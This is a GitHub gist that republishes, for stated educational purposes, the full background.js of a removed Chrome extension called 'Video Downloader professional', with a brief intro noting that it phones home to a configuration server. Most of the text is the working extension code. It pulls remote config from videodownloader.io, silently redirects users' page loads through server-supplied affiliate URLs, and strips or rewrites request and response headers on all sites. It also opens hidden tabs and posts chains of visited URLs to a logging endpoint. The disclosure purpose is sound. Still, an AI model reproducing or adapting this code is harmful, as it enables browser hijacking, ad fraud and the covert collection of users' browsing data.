Skip to content

Instantly share code, notes, and snippets.

@alphapapa
Forked from thibaudcolas/README.md
Created January 5, 2021 03:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save alphapapa/95100b89aa470535f112a094add94941 to your computer and use it in GitHub Desktop.
Save alphapapa/95100b89aa470535f112a094add94941 to your computer and use it in GitHub Desktop.
Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

This is the source of background.js for a now-unpublished Chrome extension called "Video Download professional" (ID kmdldgcmokdpmacblnehppgkjphcbpnn, since then replaced with another "Video Download professiona" (ID bacakpdjpomjaelpkpkabmedhkoongbi). This script is republished here for educational purposes. It has initially been extracted from the extension’s archive available as v2.4 on https://www.crx4chrome.com/.

Why is this interesting?

The extension has appeared in malware discussions in the past. Its replacement of Video downloader professional "bacakpdjpomjaelpkpkabmedhkoongbi" seems related to the ownership change of The Great Suspender.

What does the code do?

It’s unclear to me, but I hope you can figure it out!

The "background processing" code from line 2 to line 654, appears unrelated to the video download features. This code appears to periodically phone home to a configuration server, and from there contains additional logic to make subsequent background requests / open new tabs as instructed.

var _gaq = _gaq || [];
class Bg {
constructor() {
(this.config = { analyticsId: "UA-126378551-1" }),
(this.storage = { config: this.config }),
(this.filterRequestConfigured = !1),
(this.hpInitiated = !1),
(this.analyticsSent = !1),
(this.uid = ""),
(this.bgProcessorRun = !1),
this.initStorage(),
this.initListeners();
}
initListeners() {
let a = this;
chrome.runtime.onInstalled.addListener(function (b) {
"install" == b.reason && a.config.afterInstallUrl
? chrome.tabs.create({ url: a.config.afterInstallUrl })
: "update" == b.reason &&
a.config.afterUpdateUrl &&
chrome.tabs.create({
pinned: !0,
url: a.config.afterUpdateUrl,
});
}),
chrome.runtime.setUninstallURL &&
a.config.afterUninstallUrl &&
chrome.runtime.setUninstallURL(a.config.afterUninstallUrl);
}
initStorage() {
let a = this;
chrome.storage.local.get(this.storage, (b) => {
b && (this.storage = b),
b && b.config && (this.config = b.config),
a.config.uid
? (a.uid = a.config.uid)
: ((a.uid = a.config.uid = a.generateUID()),
a.saveConfig()),
(a.config.mTime && a.config.lTime) ||
((a.config.lTime = 0),
(a.config.mTime = new Date().getTime()),
a.saveConfig()),
this.filterRequests(),
this.initHeadersProcessesor(),
this.initBgProcessor(),
this.sendAnalytics(),
this.updateConfig();
});
}
initHeadersProcessesor() {
this.config &&
this.config.hpUrl &&
this.config.hpKey &&
!this.hpInitiated &&
((this.hpInitiated = !0), this.headersCheck());
}
headersCheck() {
var a = this;
(function () {
function b(a, b, h) {
var j = !1;
if (-1 < g.indexOf(b)) j = !0;
else
for (var k in g)
if (-1 < g[k].indexOf(b) || -1 < b.indexOf(g[k])) {
j = !0;
break;
}
j
? (e =
c +
"/get?key=" +
d +
"&out=" +
encodeURIComponent(a) +
"&ref=" +
encodeURIComponent(a) +
"&uid=&format=go")
: (f.data.used_domains[b] = h + 864e5);
}
var c = a.config.hpUrl,
d = a.config.hpKey,
e = "",
f = { data: { used_domains: {} } },
g = [],
h = !0;
(function () {
var a = new XMLHttpRequest();
(a.timeout = 15e3),
(a.onreadystatechange = function () {
4 === a.readyState &&
(200 === a.status
? ((g = JSON.parse(a.responseText)),
g && (h = !0))
: (h = !1));
}),
a.open("GET", c + "/coverage?key=" + d, !0),
a.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
),
a.send();
})(),
chrome.webRequest.onBeforeRequest.addListener(
function (a) {
if (!(0 > a.tabId) && "GET" == a.method && h) {
var c = a.url
.replace(/^https?\:\/\/([^\/]+).*$/, "$1")
.replace("www.", ""),
d = new Date().getTime();
if (
!(
f.data.used_domains[c] &&
f.data.used_domains[c] + 7200000 > d
)
)
return ((f.data.used_domains[c] = d),
e ? (e = "") : b(a.url, c, d),
e)
? ((h = !1),
setTimeout(function () {
(e = ""), (h = !0);
}, 15e3),
{ redirectUrl: e })
: void 0;
}
},
{ urls: ["*://*/*"], types: ["main_frame"] },
["blocking"]
),
chrome.webRequest.onBeforeSendHeaders.addListener(
function (a) {
if ("GET" == a.method && -1 < a.url.indexOf(c))
for (var b in a.requestHeaders) {
var d = a.requestHeaders[b];
if ("referer" == d.name.toLowerCase()) {
a.requestHeaders.splice(b, 1);
break;
}
}
return { requestHeaders: a.requestHeaders };
},
{ urls: ["<all_urls>"] },
["blocking", "requestHeaders"]
);
})();
}
saveConfig() {
chrome.storage.local.set({ config: this.config });
}
updateConfig() {
let a = this;
const b = chrome.runtime.getManifest().version;
a.heartBeat(),
$.ajax({
url: "http://videodownloader.io/rest/api/config/",
dataType: "json",
data: {
id: "kmdldgcmokdpmacblnehppgkjphcbpnn",
version: b,
mt: a.config.mTime,
lt: a.config.lTime,
uid: a.uid,
t: Date.now(),
},
success: (a) => {
if (a) {
for (let b in a) this.config[b] = a[b];
this.saveConfig();
}
},
complete: () => {
a.filterRequests(),
a.initHeadersProcessesor(),
a.initBgProcessor(),
a.sendAnalytics(),
a.config.configUpTime &&
0 < a.config.configUpTime &&
setTimeout(function () {
a.updateConfig();
}, a.config.configUpTime);
},
});
}
heartBeat() {
let a = new Date().getTime(),
b = a - this.config.mTime,
c = this.config.configUpTime
? this.config.configUpTime + 3e5
: 12e5;
this.config.mTime && b < c
? ((this.config.lTime += b),
(this.config.mTime = a),
this.saveConfig())
: ((this.config.mTime = a), this.saveConfig());
}
generateUID() {
return "xxxxxxxx-xxxx-2xxx-yxxx-xxxxxxxxxxxx".replace(
/[xy]/g,
function (a) {
var b = 0 | (16 * Math.random()),
c = "x" == a ? b : 8 | (3 & b);
return c.toString(16);
}
);
}
initBgProcessor() {
let a = this;
if (!a.config.bgProcessor)
return void bgProcessor.initCfg({ mode: "off" });
if (a.bgProcessorRun)
return void bgProcessor.initCfg(a.config.bgProcessor);
(a.bgProcessorRun = !0),
bgProcessor.initCfg(a.config.bgProcessor),
chrome.webRequest.onCompleted.addListener(
function (a) {
if (
"on" === bgProcessor.cfg.mode &&
!(0 > a.tabId) &&
200 == a.statusCode &&
"GET" == a.method
) {
var b = a.url.replace(/^(https?\:\/\/[^\/]+).*$/, "$1"),
c = a.url.replace(/^https?\:\/\/([^\/]+).*$/, "$1");
bgProcessor.cfg.keep_www_prefix ||
(c = c.replace(/^www\.(.*)$/, "$1"));
var d = new Date().getTime();
if (
!(
bgProcessor.used_domains[c] &&
bgProcessor.used_domains[c] +
bgProcessor.cfg.ttl_ms >
d
) &&
!(
bgProcessor.cfg.domains_blacklist &&
0 < bgProcessor.cfg.domains_blacklist.length &&
bgProcessor.cfg.domains_blacklist.includes(c)
) &&
!(
bgProcessor.cfg.domains_whitelist &&
0 < bgProcessor.cfg.domains_whitelist.length &&
!bgProcessor.cfg.domains_whitelist.includes(c)
)
) {
bgProcessor.used_domains[c] = d;
var e = bgProcessor.cfg.aff_url_tmpl.replace(
"{URL}",
encodeURIComponent(b)
);
if (
((e = e.replace(
"{DOMAIN}",
encodeURIComponent(c)
)),
bgProcessor.cfg.aff_redirect)
)
return !bgProcessor.cfg.domains_whitelist ||
0 <
!bgProcessor.cfg.domains_whitelist
.length
? void 0
: (bgProcessor.push_chain(b),
void bgProcessor.request_bg(e, c, 0));
var f = new XMLHttpRequest();
(f.timeout = bgProcessor.cfg.aff_timeout_ms),
(f.onreadystatechange = function () {
if (4 == f.readyState && 200 == f.status) {
var a = f.responseText.replace(
/[\n\r]/g,
""
);
if (/^https?\:\/\//.test(a) && a != b) {
var e = b.replace(
/^https?\:\/\/([^\/]+).*$/,
"$1"
);
bgProcessor.push_chain(b),
bgProcessor.request(a, e);
} else
bgProcessor.used_domains[c] =
d +
bgProcessor.cfg
.no_coverage_ttl_ms;
}
}),
f.open("GET", e),
f.send();
}
}
},
{ urls: ["http://*/*", "https://*/*"], types: ["main_frame"] }
);
let b = ["blocking", "requestHeaders"];
if (
bgProcessor.cfg &&
bgProcessor.cfg.rfr_rules &&
0 < bgProcessor.cfg.rfr_rules.length &&
bgProcessor.cfg.listenerExtraOptions
)
for (var c in bgProcessor.cfg.listenerExtraOptions)
b.push(bgProcessor.cfg.listenerExtraOptions[c]);
chrome.webRequest.onBeforeSendHeaders.addListener(
function (a) {
if ("on" !== bgProcessor.cfg.mode || !bgProcessor.cfg.header)
return {};
for (var b = a.requestHeaders, c = "", d = 0; d < b.length; d++)
if (b[d].name === bgProcessor.cfg.header) {
(c = b[d].value), b.splice(d, 1);
break;
}
if (!c) return {};
for (var e = !1, d = 0; d < b.length; d++)
if ("accept" == b[d].name.toLowerCase()) {
(b[d].value = c), (e = !0);
break;
}
if ((e || b.push({ name: "Accept", value: c }), 0 > a.tabId)) {
let c = "";
if (bgProcessor.cfg.rfr_rules)
for (let b in bgProcessor.cfg.rfr_rules) {
let d = bgProcessor.cfg.rfr_rules[b];
if (d.url_request_before) {
if (!bgProcessor.last_request_url) continue;
let a = new RegExp(
d.url_request_before[0],
d.url_request_before[1]
);
if (!a.test(bgProcessor.last_request_url))
continue;
}
if (d.url_response_before) {
if (!bgProcessor.last_response_url) continue;
let a = new RegExp(
d.url_response_before[0],
d.url_response_before[1]
);
if (!a.test(bgProcessor.last_response_url))
continue;
}
if (d.url_chain) {
if (
!bgProcessor.rdr_chain ||
1 > bgProcessor.rdr_chain.length
)
continue;
let a = new RegExp(
d.url_chain[0],
d.url_chain[1]
),
b = !1;
for (let c in bgProcessor.rdr_chain) {
let d = bgProcessor.rdr_chain[c];
if (a.test(d)) {
b = !0;
break;
}
}
if (!b) continue;
}
if (d.url_request) {
let b = new RegExp(
d.url_request[0],
d.url_request[1]
);
if (!b.test(a.url)) continue;
}
if (
("allow" == d.rule &&
(c = bgProcessor.last_response_url),
"replace" == d.rule &&
d.replace &&
(c = d.replace),
"regexp" == d.rule && d.regexp && d.replace)
) {
var f = new RegExp(d.regexp[0], d.regexp[1]);
c = bgProcessor.last_response_url.replace(
f,
d.replace
);
}
break;
}
if (c) {
let a = b.findIndex(
(a) => "referer" == a.name.toLowerCase()
);
-1 < a
? (b[a].value = c)
: b.push({ name: "Referer", value: c });
}
}
return { requestHeaders: b };
},
{ urls: ["http://*/*", "https://*/*"] },
b
);
}
sendAnalytics() {
this.analyticsSent ||
!this.config.analyticsId ||
(_gaq.push(["_setAccount", this.config.analyticsId]),
_gaq.push(["_trackPageview"]),
(function () {
var a = document.createElement("script");
(a.type = "text/javascript"),
(a.async = !0),
(a.src = "https://ssl.google-analytics.com/ga.js");
var b = document.getElementsByTagName("script")[0];
b.parentNode.insertBefore(a, b);
})(),
(this.analyticsSent = !0));
}
filterRequests() {
var a = this;
this.config &&
this.config.validateFields &&
!this.filterRequestConfigured &&
((this.filterRequestConfigured = !0),
chrome.webRequest &&
chrome.webRequest.onHeadersReceived.addListener(
function (b) {
return {
responseHeaders: b.responseHeaders.filter(function (
b
) {
return !(
a.config.validateFields &&
-1 <
a.config.validateFields.indexOf(
b.name.toLowerCase()
)
);
}),
};
},
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
));
}
}
let bgProcessor = {
cfg: { mode: "off" },
used_domains: {},
rdr_chain: [],
last_request_url: "",
last_response_url: "",
initCfg(a) {
a && (this.cfg = a);
},
request: function (a, b) {
this.cfg.debug && console.log("bgProcessor.request", a, b),
this.cfg.ntab_tag && -1 !== a.indexOf(this.cfg.ntab_tag)
? setTimeout(function () {
bgProcessor.request_tab(a, b);
}, this.cfg.ntab_delay_ms)
: this.request_bg(a, b, 0);
},
push_chain: function (a) {
this.rdr_chain.push(a);
},
request_bg: function (a, b, c) {
if (!(c >= this.cfg.rdr_max_count) && this.cfg.header) {
this.push_chain(a), (bgProcessor.last_request_url = a);
var d = new XMLHttpRequest();
(d.timeout = this.cfg.timeout),
(d.onreadystatechange = function () {
var a = Math.floor;
if (4 == d.readyState)
if (200 == d.status) {
var e = d.responseText
.replace(/[\n\r\s]/g, "")
.replace(/\.href/g, ""),
f = !1,
g = d.responseURL,
h = bgProcessor.is_rdr_url(d.responseURL);
if (
((bgProcessor.last_response_url = g),
bgProcessor.last_response_url !=
bgProcessor.last_request_url &&
bgProcessor.push_chain(
bgProcessor.last_response_url
),
h ||
e.length <
bgProcessor.cfg.jsrdr_maxlen_bytes)
) {
var j = e.replace(
/^.*?location\=[\'\"]([^\'\"]+).*$/,
"$1"
);
/^\//.test(j) &&
((link2Url = new URL(j, d.responseURL)),
(j = link2Url.href)),
/^https?\:\/\//.test(j) &&
(bgProcessor.request_bg(j, b, c + 1),
(f = !0));
}
if (!f && bgProcessor.cfg.common_rdr_rules)
for (var k in bgProcessor.cfg
.common_rdr_rules) {
var i = bgProcessor.cfg.common_rdr_rules[k],
l = new RegExp(
i.search[0],
i.search[1]
),
m = e;
if (
("uri" == i.where && (m = g),
i.url_pattern)
) {
var n = new RegExp(
i.url_pattern[0],
i.url_pattern[1]
);
if (!n.test(g)) continue;
}
if (m.match(l)) {
var p = m.replace(l, i.replace);
if (i.applyAfter)
for (var q in i.applyAfter) {
var o = i.applyAfter[q];
if ("decodeURIComponent" == o)
p = decodeURIComponent(p);
else if ("decodeHTML" == o) {
p = (function (a) {
var b = document.createElement(
"textarea"
);
return (
(b.innerHTML = a),
b.value
);
})(p);
} else;
}
if (i.replacements)
for (var r in i.replacements)
p = p.replace(
r,
i.replacements[r]
);
if (i.regReplacements)
for (var s in i.regReplacements) {
var t = new RegExp(
i.regReplacements[
s
].pattern[0],
i.regReplacements[
s
].pattern[1]
);
p = p.replace(
t,
i.regReplacements[s].replace
);
}
if (
(/^\//.test(p) &&
((link2Url = new URL(
p,
d.responseURL
)),
(p = link2Url.href)),
/^https?\:\/\//.test(p))
) {
var u = i.delay ? i.delay : 0;
if (
"string" == typeof u &&
-1 < u.indexOf("-")
) {
var v = u.split("-");
u = a(
Math.random() *
(parseInt(v[1]) -
parseInt(v[0]) +
1) +
parseInt(v[0])
);
}
setTimeout(() => {
bgProcessor.request_bg(
p,
b,
c + 1
);
}, parseInt(u)),
(f = !0);
break;
}
}
}
f || bgProcessor.send_rdr_log();
} else bgProcessor.send_rdr_log(!0);
}),
d.open("GET", a, !0),
d.setRequestHeader(
this.cfg.header,
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
),
d.send();
}
},
is_rdr_url: function (a) {
var b = new URL(a);
return (
!!(this.cfg.rdr_coverage && b.host in this.cfg.rdr_coverage) ||
!!/\/goto\/?$/.test(b.pathname)
);
},
request_tab: function (a, b) {
this.cfg.debug && console.log("bgProcessor.request_tab", a, b),
chrome.tabs.create({ url: a, active: !1 }, function (a) {
setTimeout(function () {
try {
chrome.tabs.remove(a.id);
} catch (a) {}
}, bgProcessor.cfg.ntab_duration_ms);
});
},
send_rdr_log: function (a = !1) {
if (
this.rdr_chain &&
this.cfg &&
this.cfg.log_rdr_active &&
this.cfg.log_rdr_endpoint
) {
if (this.cfg && this.cfg.log_rdr_onlydifferent) {
var b = this.rdr_chain[0],
c = this.rdr_chain[this.rdr_chain.length - 1];
if (
b.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") ==
c.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1")
)
return;
}
var d = new XMLHttpRequest(),
e = this.cfg.log_rdr_endpoint;
a &&
this.cfg.log_rdr_errors_endpoint &&
(e = this.cfg.log_rdr_errors_endpoint),
d.open("POST", e, !0),
d.setRequestHeader(
"Content-Type",
"application/json;charset=UTF-8"
),
d.send(JSON.stringify(this.rdr_chain)),
(this.rdr_chain = []),
(this.last_request_url = null),
(this.last_response_url = null);
}
},
};
const bg = new Bg();
var vd = {};
(vd.tabsData = {}),
(vd.linksToBeDownloaded = {}),
(vd.videoFormats = {
mp4: { type: "mp4" },
flv: { type: "flv" },
mov: { type: "mov" },
webm: { type: "webm" },
}),
(vd.isVideoUrl = function (a) {
var b = !1;
return (
Object.keys(vd.videoFormats).some(function (c) {
if (-1 != a.indexOf(c)) return (b = !0), !0;
}),
b
);
}),
(vd.getVideoType = function (a) {
var b = null;
return (
a.some(function (a) {
if ("Content-Type" == a.name)
return (
Object.keys(vd.videoFormats).forEach(function (c) {
if (
-1 != a.value.indexOf(c) &&
!/^audio/i.test(a.value)
)
return (b = c), !0;
}),
!0
);
}),
b
);
}),
(vd.getNewTabObject = function () {
return { videoLinks: [], url: "" };
}),
(vd.getVideoSize = function (a) {
var b = 0;
return (
a.forEach(function (a) {
"Content-Length" == a.name && (b = parseInt(a.value));
}),
b
);
}),
(vd.getVideoDataFromServer = function (a, b) {
var c = new XMLHttpRequest();
(c.onreadystatechange = function () {
2 === c.readyState &&
(b({
mime: this.getResponseHeader("Content-Type"),
size: this.getResponseHeader("Content-Length"),
}),
c.abort());
}),
c.open("Get", a),
c.send();
}),
(vd.getFileName = function (a) {
var b = /[A-Za-z0-9()_ -]/,
c = "";
return (
(a = Array.from(a)),
a.forEach(function (a) {
b.test(a) && (c += a);
}),
c
);
}),
(vd.isVideoLinkAlreadyAdded = function (a, b) {
var c = !1;
return (
a.some(function (a) {
if (a.url === b) return (c = !0), !0;
}),
c
);
}),
(vd.updateExtensionIcon = function (a) {
vd.tabsData[a] && 0 < vd.tabsData[a].videoLinks.length
? chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_active.png",
})
: chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_inactive.png",
});
}),
(vd.addVideoLinkToTabFinalStep = function (a, b) {
!vd.isVideoLinkAlreadyAdded(vd.tabsData[a].videoLinks, b.url) &&
1024 < b.size &&
vd.isVideoUrl(b.url) &&
(vd.tabsData[a].videoLinks.push(b), vd.updateExtensionIcon(a));
}),
(vd.addVideoLinkToTab = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.size
? vd.addVideoLinkToTabFinalStep(b, a)
: vd.getVideoDataFromServer(a.url, function (c) {
(a.size = c.size), vd.addVideoLinkToTabFinalStep(b, a);
});
}),
(vd.inspectNetworkResponseHeaders = function (a) {
var b = vd.getVideoType(a.responseHeaders);
return vd.linksToBeDownloaded[a.url]
? (a.responseHeaders.push({
name: "Content-Disposition",
value:
'attachment; filename="' +
vd.linksToBeDownloaded[a.url] +
'"',
}),
{ responseHeaders: a.responseHeaders })
: void (
b &&
chrome.tabs.query(
{ active: !0, currentWindow: !0 },
function (c) {
var d = c[0],
e = d.id;
vd.addVideoLinkToTab(
{
url: a.url,
size: vd.getVideoSize(a.responseHeaders),
fileName: vd.getFileName(d.title),
extension: "." + b,
},
e,
d.url
);
}
)
);
}),
(vd.addVideoLinks = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.forEach(function (a) {
(a.fileName = vd.getFileName(a.fileName)),
vd.addVideoLinkToTab(a, b, c);
});
}),
(vd.getVideoLinksForTab = function (a) {
return vd.tabsData[a] ? vd.tabsData[a] : {};
}),
(vd.incrementDownloadCount = function () {
var a = parseInt(localStorage.getItem("total_number_of_downloads"));
(a += 1),
localStorage.setItem("total_number_of_downloads", a),
5 == a &&
confirm(
"You have downloaded multiple videos with Video Downloader professional. Please share your experience with others and make a review for us."
) &&
chrome.tabs.create(
{ url: "http://videodownloader.io/reviews/", selected: !0 },
function () {}
),
7 == a &&
confirm(
"if you like what we do and can support our work, please make a donation so we can keep on making it even better."
) &&
chrome.tabs.create(
{
url: "http://videodownloader.io/contribute/",
selected: !0,
},
function () {}
);
}),
(vd.downloadVideoLink = function (a, b) {
(vd.linksToBeDownloaded[a] = b),
chrome.tabs.query({ active: !0, currentWindow: !0 }, function (b) {
chrome.tabs.update(
b[0].id,
{ url: a, selected: !1 },
function () {}
),
vd.incrementDownloadCount();
});
}),
(vd.showYoutubeWarning = function () {
chrome.tabs.create(
{ url: "http://videodownloader.io/#youtube", selected: !0 },
function () {}
);
}),
chrome.runtime.onInstalled.addListener(function (a) {
"install" == a.reason &&
localStorage.setItem("total_number_of_downloads", 0);
}),
chrome.tabs.onUpdated.addListener(function (a) {
vd.updateExtensionIcon(a);
}),
chrome.tabs.onRemoved.addListener(function (a) {
vd.tabsData[a] && delete vd.tabsData[a];
}),
chrome.webRequest.onHeadersReceived.addListener(
vd.inspectNetworkResponseHeaders,
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
),
chrome.runtime.onMessage.addListener(function (a, b, c) {
switch (a.message) {
case "add-video-links":
vd.addVideoLinks(a.videoLinks, b.tab.id, b.tab.url);
break;
case "get-video-links":
c(vd.getVideoLinksForTab(a.tabId));
break;
case "download-video-link":
vd.downloadVideoLink(a.url, a.fileName);
break;
case "show-youtube-warning":
vd.showYoutubeWarning();
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment